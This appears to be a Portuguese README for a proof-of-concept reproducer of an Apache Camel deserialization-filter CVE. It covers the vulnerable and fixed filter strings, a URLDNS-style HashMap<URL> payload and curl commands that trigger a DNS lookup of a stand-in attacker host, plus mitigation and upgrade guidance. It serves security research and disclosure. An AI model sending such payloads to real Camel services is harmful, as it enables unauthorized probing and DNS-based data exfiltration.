
Reprodutor para CVE-2026-42527 — o ObjectInputFilter padrão permissivo do Apache Camel admite java.net.URL, permitindo um canal lateral fora de banda baseado em DNS.
Este projeto demonstra a CVE-2026-42527 no Apache Camel. O padrão ObjectInputFilter padrão que vários componentes do Camel fornecem para filtragem de desserialização por defesa em profundidade —
java.**;javax.**;org.apache.camel.**;!* — usa um glob recursivo java.** que admite java.net.URL.
java.net.URL.hashCode() realiza uma resolução de DNS do host da URL; portanto, desserializar um HashMap (ou qualquer
coleção que aplique hash a seus elementos) contendo uma chave java.net.URL faz com que a JVM emita uma consulta DNS para
um host fornecido pelo atacante durante a desserialização. A verificação do filtro em nível de classe passa (o objeto resultante
é um HashMap, que está na allow-list), então nada o impede — um canal lateral de divulgação de informações fora de banda
(não RCE).
Aviso: https://camel.apache.org/security/CVE-2026-42527.html
Este defeito foi introduzido pela série de endurecimento de desserialização (CAMEL-23297/23319/23321/23322/23324), que adicionou o filtro padrão permissivo demais. A CVE-2026-42527 o restringe.
Este PoC usa camel-mina 4.18.2, onde MinaConverter.toObjectInput instala o filtro padrão diretamente
no ObjectInputStream; assim, o filtro é o controle decisivo (um contraste claro entre afetado e corrigido):
// MinaConverter.toObjectInput(IoBuffer) - affected 4.18.2
static final String DEFAULT_DESERIALIZATION_FILTER = "java.**;javax.**;org.apache.camel.**;!*";
...
ObjectInputStream ois = new ObjectInputStream(is);
ObjectInputFilter jvmFilter = ObjectInputFilter.Config.getSerialFilter();
ois.setObjectInputFilter(jvmFilter != null
? jvmFilter
: ObjectInputFilter.Config.createFilter(DEFAULT_DESERIALIZATION_FILTER));
O glob java.** admite java.net.URL. Ao desserializar um HashMap<URL, ...>, HashMap.readObject()
reinsere a entrada e calcula hash(key) → URL.hashCode() → InetAddress.getByName(host) → uma consulta
DNS ao host do atacante. A correção 4.18.3 / 4.21.0 antepõe uma negação:
// fixed
static final String DEFAULT_DESERIALIZATION_FILTER = "!java.net.**;java.**;javax.**;org.apache.camel.**;!*";
Agora, java.net.URL é rejeitado durante a desserialização (InvalidClassException: filter status: REJECTED) antes
que hashCode() sequer execute — sem consulta DNS.
A maior exposição real está na família camel-jms, onde
JmsBinding.extractBodyFromJmschamaObjectMessage.getObject()incondicionalmente quandomapJmsMessage=true(o padrão). Este PoC usa camel-mina porque é autocontido (sem broker) e porque o filtro é aplicado diretamente no stream.
from("mina:tcp://0.0.0.0:5555?sync=false&allowDefaultCodec=false")
.process(exchange -> {
ObjectInput oi = exchange.getIn().getBody(ObjectInput.class); // MinaConverter.toObjectInput (default filter)
Object obj = oi.readObject(); // HashMap.readObject -> URL.hashCode() -> DNS
});
java.net.URL.hashCode() resolve o host por meio do resolvedor da JVM. Para observar essa consulta de forma determinística
e offline, o aplicativo registra um java.net.spi.InetAddressResolverProvider personalizado (JDK 18+, JEP 418) que
registra qualquer hostname que contenha o marcador do atacante e responde com um stub de loopback. Ver o host
do atacante chegar ao resolvedor é o canal lateral fora de banda sendo disparado.
O payload é construído com o clássico truque ysoserial URLDNS: o campo hashCode em cache da URL é
pré-carregado para que sua inserção no mapa no lado da construção não resolva o host e, em seguida, é redefinido para -1
para que a consulta ocorra somente quando a vítima desserializar. (--add-opens java.base/java.net é necessário para
essa reflexão — um detalhe da construção do payload, sem relação com a vulnerabilidade.)
CVE-2026-42527/
├── pom.xml # camel-mina 4.18.2 (permissive default filter)
├── Dockerfile # runs the app (--add-opens java.base/java.net for payload build)
├── docker-compose.yml
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── MinaObjectRoute.java # victim: mina consumer -> ObjectInput.readObject()
│ ├── PayloadFactory.java # HashMap<URL> URLDNS payload (no builder-side DNS)
│ ├── ExfilResolverProvider.java # stub DNS server (InetAddressResolverProvider) that records lookups
│ ├── ExfilLog.java
│ └── ExploitController.java # /exploit/inject: sends payload over TCP, checks for the DNS lookup
└── resources/
├── application.properties
└── META-INF/services/java.net.spi.InetAddressResolverProvider
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/inject
# -> Sent HashMap<URL> payload to mina:tcp://127.0.0.1:5555
# URL key host: dns-exfil-proof.cve-2026-42527.attacker.test
#
# >>> DNS side-channel proof — resolver saw a lookup for the attacker host: true
# observed lookups: [dns-exfil-proof.cve-2026-42527.attacker.test]
true significa que a desserialização do HashMap<URL> do atacante resolveu o host do atacante — um
servidor DNS controlado pelo atacante veria essa consulta.
Execute com um filtro endurecido em toda a JVM (que o toObjectInput respeita e que espelha a correção 4.18.3):
mvn clean package -DskipTests
java --add-opens java.base/java.net=ALL-UNNAMED \
-Djdk.serialFilter='!java.net.**;java.**;javax.**;org.apache.camel.**;!*' \
-jar target/cve-2026-42527-deserialization-filter-0.0.1-SNAPSHOT.jar
# then: curl -s http://localhost:8080/exploit/inject
# -> ... resolver saw a lookup for the attacker host: false
# (the route log shows InvalidClassException: filter status: REJECTED)
docker compose down
Qualquer consumidor Camel afetado que desserializa bytes controlados pelo atacante sob o filtro padrão — principalmente
um consumidor camel-jms/sjms/amqp com mapJmsMessage=true, ou os componentes mina/netty/vertx-http/infinispan e de
repositório de agregação — em que o atacante pode entregar um HashMap<URL> (ou qualquer coleção que aplique hash a java.net.URL).
deserializationFilter / -Djdk.serialFilter e sem allow-list no lado do provedor).java.net.URL dentro de uma coleção com hash no payload. Nenhuma biblioteca de gadgets é
necessária — apenas classes padrão do JDK.Atualize para 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23372), que altera o filtro padrão para negar java.net.**.
Até a atualização:
deserializationAllowList/deserializationDenyList, ActiveMQ Classic org.apache.activemq.SERIALIZABLE_PACKAGES).deserializationFilter do endpoint ou do
-Djdk.serialFilter da JVM, com uma negação explícita:
!java.net.**;java.**;javax.**;org.apache.camel.**;!*
(ou !java.net.**;java.**;org.apache.camel.**;!* para os componentes de repositório de agregação, que omitem
javax.**).Este reprodutor é fornecido apenas para pesquisa de segurança e testes autorizados, para uma vulnerabilidade divulgada publicamente e corrigida. Não o utilize contra sistemas sem permissão explícita.
| Propriedade | Valor |
|---|
| Componentes | camel-jms, camel-sjms, camel-amqp, camel-mina, camel-netty, camel-netty-http, camel-vertx-http, camel-infinispan e repositórios de agregação (camel-leveldb, camel-cassandraql, camel-consul, camel-sql) |
| Defeito | O filtro padrão java.**;javax.**;org.apache.camel.**;!* admite java.net.URL / java.net.InetAddress |
| CWE | CWE-502 (desserialização insegura) que leva à divulgação de informações fora de banda / SSRF cego via DNS |
| Impacto | Consultas DNS observáveis pelo atacante durante a desserialização (canal lateral de exfiltração de dados) |
| Versões Afetadas | 4.14.0–4.14.7, 4.18.0–4.18.2, 4.20.0 |
| Versões Corrigidas | 4.14.8, 4.18.3, 4.21.0 |
| JIRA | CAMEL-23372 |
| Relatores | Venkatraman Kumar (Securin) e Yu Bao (PayPal) |